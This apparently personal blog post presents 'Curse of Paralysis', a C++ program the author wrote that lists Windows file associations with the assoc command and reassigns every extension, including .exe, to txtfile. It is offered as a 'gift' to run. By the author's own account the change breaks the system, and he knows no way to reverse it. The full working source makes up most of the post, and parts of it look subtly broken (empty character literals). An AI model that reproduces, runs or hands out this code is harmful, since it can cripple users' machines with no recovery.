Yes. I created it. The program if executed correctly, would change all the windows asscoications to the textfile. In simple words, if you will try to open command prompt, or your computer, everything would be treated as the text file and hence would be opened with Notepad. Since, I have coded the program in such a way that it changes all the known extensions to the computer to the text file, even registry editor, system restore (they all are exes, aren’t they?). I have not found a way to restore the system in the inital condition. Hence. I named the program as Curse of Paralysis. I would recommend you to run this program in a Virtual Machine. It all started with my task at http://www.mycfiles.com.

I was given a task to code a program to unblock a website which was blocked through the hosts file that always keeps resting in your C drive. On my way to unblock the web site, i had to find my way through the control new line character and control end of line character. I used classic Hex Editor to actually see how the file is organised into bits into bytes. It always fascinates me to see the low level implemention of data storage. I found a way to navigate through these characters.

A few days ago, my best friend told me about the virus that changed some of the associations and forced them to open with Adobe PDF reader. I was amazed by this thought. I developed an idea to code a program to change all the extensions known to the computer. Here is the thing. You all must know about the assoc command available with the dear Command Prompt. If you type only assoc and press the mighty enter key on key board, it would display you all the known extensions to your computer along with their set types. For example,

assoc 
.386=vxdfile
.3g2=WMP11.AssocFile.3G2
.3gp=WMP11.AssocFile.3GP
.3gp2=WMP11.AssocFile.3G2
.3gpp=WMP11.AssocFile.3GP
.7z=WinRAR
.a52=VLC.a52
.AAC=VLC.aac
.ac3=VLC.ac3
.accda=Access.ACCDAExtension.14
.accdb=Access.Application.14
.accdc=Access.ACCDCFile.14
.accde=Access.ACCDEFile.14
.accdr=Access.ACCDRFile.14
.accdt=Access.ACCDTFile.14
.accdu=Access.WizardUserDataFile.14
.accdw=Access.WebApplicationReference.14
.accft=Access.ACCFTFile.14
.ace=WinRAR
.rar=WinRAR
.acl=ACLFile
.txt=txtfile
.exe=exefile

I have included the extensions and related handlers of text file and exe file. And if you knew a bit more about the assoc command, then you can try

assoc .rar=txtfile

With this command, you have changed the default association of the rar file from WINRAR to Text file, so every rar file would be treated as just as a sequence of bytes, and so would be opened with Notepad. You can check that whether this worked or not with this command

assoc .rar

Output must be like

.rar=txtfile

So, till now, I explained the basic logic behind the program. Again, to run this program, you need to have CodeBlock IDE which is a 32 bit compiler. Actually, any 32 bit compiler would work, but I found CodeBlock bit good. Its all your choice. Now, I gift you this program. Please note that I do not bear any responsibility if get troubled with this program. I  am not responsible for your stupidity. With this precaution, let greet it.

# include <iostream>
# include <fstream>
# include <string>
# include <dos.h>

using namespace std;

void join(char[]);

int main()
{
    int next[2000],last[2000];
    int i=2,pointer=0,j,k;

    char str[]="assoc >C:\\File.txt",ch,end[500];

    ifstream in,sec;
    ofstream out;

    system(str);

    in.open("C:\\File.txt",ios::in);

    if(!in)
        cout<<"File not Found";

    else
    {
        while(in.get(ch))//Till The END of file
        {
            if(ch==10)//For Control Character that represent NEWLINE
            {
                pointer=pointer+2;
                next[i]=pointer;
                i++;
            }
            else
                pointer=pointer+1;//For Normal Characters
        }

        next[i]=pointer;//Pointer to the end of the file
        i++;
    }
    in.close();

    for(j=1;j<i-1;j++)
    {
        if(j==(i-2))
            last[j]=next[j+1]-1;
        else
            last[j]=next[j+1]-3;
    }

    sec.open("C:\\File.txt",ios::in);
    if(!sec)
        cout<<"Not available for Reading";
    else
    {
        for(j=1;j<i-1;j++)
        {
            k=0;
            end[0]='';

            pointer=next[j];

            sec.seekg(next[j],ios::beg);
            while(pointer<=last[j])
            {
                sec.get(ch);
                end[k]=ch;
                k=k+1;
                if(end[k-1]=='=')
                    break;
                pointer++;
            }
            end[k]='';
            join(end);
            system(end);
            cout<<"\n";
        }
    }
    return 0;
}
void join(char end[500])
{
    int i,len;

    len=strlen(end);

    for(i=len-1;i>=0;i--)
    {
        end[i+6]=end[i];
    }
    end[len+6]='t',end[len+7]='x',end[len+8]='t',end[len+9]='f',end[len+10]='i',end[len+11]='l',end[len+12]='e',end[len+13]='';
    end[0]='a',end[1]='s',end[2]='s',end[3]='o',end[4]='c',end[5]=' ';
}

Again I would say, please try this at a virtual machine. In XP, you wont need admin permission, but in Win 7, you definitely need.

Have Fun.

Advertisements